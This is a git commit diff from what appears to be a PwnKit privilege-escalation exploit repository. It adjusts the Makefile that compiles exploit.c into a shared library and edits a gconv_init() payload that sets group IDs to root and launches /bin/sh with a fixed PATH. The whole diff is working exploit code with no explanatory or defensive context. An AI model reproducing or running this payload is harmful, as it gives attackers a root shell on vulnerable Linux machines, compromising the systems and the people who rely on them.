Fix $PATH

master
Drake 2 years ago
parent 2bc2c0d48a
commit aca7e13435

@ -6,7 +6,7 @@ CC_FLAGS ?=
.PHONY: all debug
all:
gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-soname,libservice.so -Wl,-e,main -fPIC
gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC
debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS}
debug: all

@ -23,7 +23,11 @@ void gconv_init() {
setgid(0);
setegid(0);
char *shellArgv[] = {"sh", NULL};
execv("/bin/sh", shellArgv);
char *env[] = {
"PATH=/bin:/usr/bin:/sbin:/usr/sbin",
NULL
};
execve("/bin/sh", shellArgv, env);
}
void setup(char *argv[]) {

Loading…
Cancel
Save